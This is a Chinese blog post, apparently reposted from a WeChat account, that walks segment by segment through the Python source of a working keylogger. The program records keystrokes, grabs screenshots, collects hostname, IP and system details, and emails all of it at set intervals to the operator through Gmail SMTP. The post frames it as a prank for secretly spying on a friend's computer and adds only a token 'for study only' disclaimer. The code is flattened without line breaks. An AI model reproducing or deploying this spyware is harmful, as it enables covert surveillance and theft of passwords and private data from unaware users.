Pyhton黑客工具—键盘记录程序拆解细分

admin 2024年3月2日20:50:12评论17 views字数 4107阅读13分41秒阅读模式

好奇兄弟用你电脑的时候做了什么?可以考虑后台执行工具恶搞一下好友!当然这是不推荐的!!毕竟玩意你稍微不注意玩拖了呢!!

关于(键盘记录器)我相信各位粉丝都不会陌生;键盘记录器的源代码目前在网上搜索有很多。至于成立Pyhton交流群;放在文章最后!

Pyhton黑客工具—键盘记录程序拆解细分

初学者接触键盘记录器最详细的工程步骤:

键盘可实现的基础功能

  • 键盘记录

  • 可以将键盘日志和屏幕截图保存在文件中

  • 可以在给定的时间间隔后打印键盘日志

  • 可以在给定的时间间隔后将所有键盘日志和屏幕截图邮件发送给您

准备工具:

Pyhton黑客工具—键盘记录程序拆解细分

代码书写:

Pyhton黑客工具—键盘记录程序拆解细分

第一段代码的分析:

#正常可以利用的库;如下import keyboard  # 为键盘记录import socketimport os       #EsnArsenalimport platformimport smtplib  # 用于使用 SMTP 协议发送电子邮件 (gmail)from email.mime.text import MIMEText #用于在邮件中附加图像from email.mime.image import MIMEImagefrom email.mime.multipart import MIMEMultipart# 信号量用于阻塞当前线程 # 计时器是使方法在“间隔”时间后运行,为了后期内容必须了解何为线程from threading import Semaphore, Timerimport pyscreenshot as ImageGrab #对于屏幕截图# 代码仅供学习与研究,禁止利用源代码进行违法操作。

第二段代码:

这里定义了发送报告的时间间隔(以秒为单位),以及用于发送报告的电子邮件地址和密码。

SEND_REPORT_EVERY = 1800  # 30分钟  以秒为单位可以自由设定。EMAIL_ADDRESS = " " # 输入邮箱地址EMAIL_PASSWORD = " " # 输入邮箱密码

第三段:

  1. 这是一个名为Keylogger的类的定义。在初始化方法中,设置了报告的时间间隔、以及一个信号量(Semaphore),用于在设置按键监听器后进行阻塞。

class Keylogger:def __init__(self, interval):# 将发送邮件的时间间隔设为intervalself.interval = interval# 存储键盘按键记录的字符串变量self.log = ""# 用于在设置 on_release 监听器后进行阻塞self.semaphore = Semaphore(0)

第四段:

  1. 这个方法被调用来处理每个键盘事件(按键)。它将按键转换为适当的格式,并将其添加到按键记录(self.log)中。此外,它还将按键记录写入名为“output.txt”的文件中。

def callback(self, event):# 每当发生键盘事件(按键)时调用此回调函数name = event.nameif len(name) > 1:# 非字符、特殊按键(例如 ctrl、alt 等)# 大写使用 []if name == "space":# 将空格键替换为空格字符name = " "elif name == "enter":# 换行符表示按下 ENTER 键name = "[ENTER]n"elif name == "decimal":name = "."else:# 将空格替换为下划线name = name.replace(" ", "_")name = f"[{name.upper()}]"self.log += name# 将按键记录写入文件# 如果不想记录到文件只想发送邮件,则注释掉下面两行with open("output.txt", "w+") as output:output.write(self.log)

第五段:

  1. 这是一个静态方法,用于发送邮件。它连接到指定的SMTP服务器,并使用TLS模式进行身份验证后发送邮件。

   @staticmethoddef sendmail(email, password, message):# 连接到 SMTP 服务器server = smtplib.SMTP(host="smtp.gmail.com", port=587)# 以 TLS 模式连接到 SMTP 服务器server.starttls()# 登录到邮箱账户server.login(email, password)# 发送邮件server.sendmail(email, email, message)# 终止会话server.quit()

第六段:

这是另一个静态方法,用于发送屏幕截图作为附件。它创建一个包含屏幕截图的MIME消息,并将其发送到指定的邮箱地址。

@staticmethoddef SendImage(ImgFileName):# 该方法将屏幕截图作为附件发送img_data = open(ImgFileName, 'rb').read()msg = MIMEMultipart()msg['Subject'] = 'Screenshot'msg['From'] = EMAIL_ADDRESSmsg['To'] = EMAIL_ADDRESStext = MIMEText("test")msg.attach(text)image = MIMEImage(img_data, name=os.path.basename(ImgFileName))msg.attach(image)s = smtplib.SMTP(host="smtp.gmail.com", port=587)s.ehlo()s.starttls()s.ehlo()s.login(EMAIL_ADDRESS, EMAIL_PASSWORD)s.sendmail(EMAIL_ADDRESS, EMAIL_ADDRESS, msg.as_string())s.quit()

第七段:

  1. 这个方法用于进行屏幕截图。它使用pyscreenshot模块来捕获屏幕图像,并将其保存为“screenshot.png”文件。然后,它调用前面定义的SendImage方法将该图像作为附件发送到指定的邮箱地址,并在发送完成后删除截图文件。

def screenshot(self):# 使用 pyscreenshot 模块进行屏幕截图im = ImageGrab.grab()# 获取当前程序所在文件夹路径cwd = os.getcwd()path = cwd + "/" + "screenshot.png"im.save(path)self.SendImage(path)# 发送邮件后删除截图文件os.remove(path)

第八段:

  1. 这是一个主要功能函数,将在每个时间间隔(由self.interval指定)调用。它首先调用屏幕截图方法(self.screenshot()),然后发送按键记录(如果有的话)到指定的邮箱地址。最后,它重置按键记录变量(self.log)并启动一个定时器以在下一个时间间隔调用该函数。

def report(self):"""每隔 `self.interval` 调用此函数主要功能是发送按键记录并重置 `self.log` 变量"""# 每隔一段时间发送一次屏幕截图self.screenshot()if self.log:# 如果 log 中有内容,则发送报告self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)# 打印到终端# print(self.log)self.log = ""Timer(interval=self.interval, function=self.report).start()

第九段:

这个方法用于获取系统的基本信息,并在开始时将其发送到指定的邮箱地址。它获取主机名和IP地址,并收集有关系统架构、机器类型、系统名称和版本的信息。然后,它将这些信息写入名为“output2.txt”的文件,并将其作为消息发送到指定的邮箱地址。

def computer_info(self):# 在开始时发送系统的基本信息hostname = socket.gethostname()IPAddr = socket.gethostbyname(hostname)mssg = "Information of the systemn"mssg += "Architecture - " + platform.architecture()[0] + " " + platform.architecture()[1]mssg += "nMachine - " + platform.machine()mssg += "nSystem - " + platform.system() + "n" + platform.version() + "n"mssg += "Hostname - " + hostname + "n"mssg += "IP Address - " + IPAddr + "n"# 将信息写入文件# 如果不想记录到文件只想发送邮件,则注释掉下面两行with open("output2.txt", "w+") as output2:output2.write(mssg)self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, mssg

)

第十段:

是启动键盘记录器的入口点。它设置键盘监听器(on_release)来捕获按键事件,并在启动时发送系统信息,然后开始按键记录和报告。最后,它阻塞当前线程,因为on_release()不会阻塞当前线程,如果不阻塞,程序会立即关闭。

def start(self):# 启动键盘记录器keyboard.on_release(callback=self.callback)# 发送系统信息     self.computer_info()# 开始发送按键记录self.report()# 阻塞当前线程,# 因为 on_release() 不会阻塞当前线程# 如果不阻塞,当执行程序时,不会发生任何事情# 这是因为 on_release() 会在单独的线程中启动监听器self.semaphore.acquire()

至于源代码我没有进行储存直接仍在了星球位置:

Pyhton黑客工具—键盘记录程序拆解细分

https://t.me/esntshequ ESN社区备用订阅号

https://t.me/esnshequ  ESN社区官方备用群

原文始发于微信公众号(Esn技术社区):Pyhton黑客工具—键盘记录程序拆解细分

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月2日20:50:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Pyhton黑客工具—键盘记录程序拆解细分https://cn-sec.com/archives/2538169.html

发表评论

匿名网友 填写信息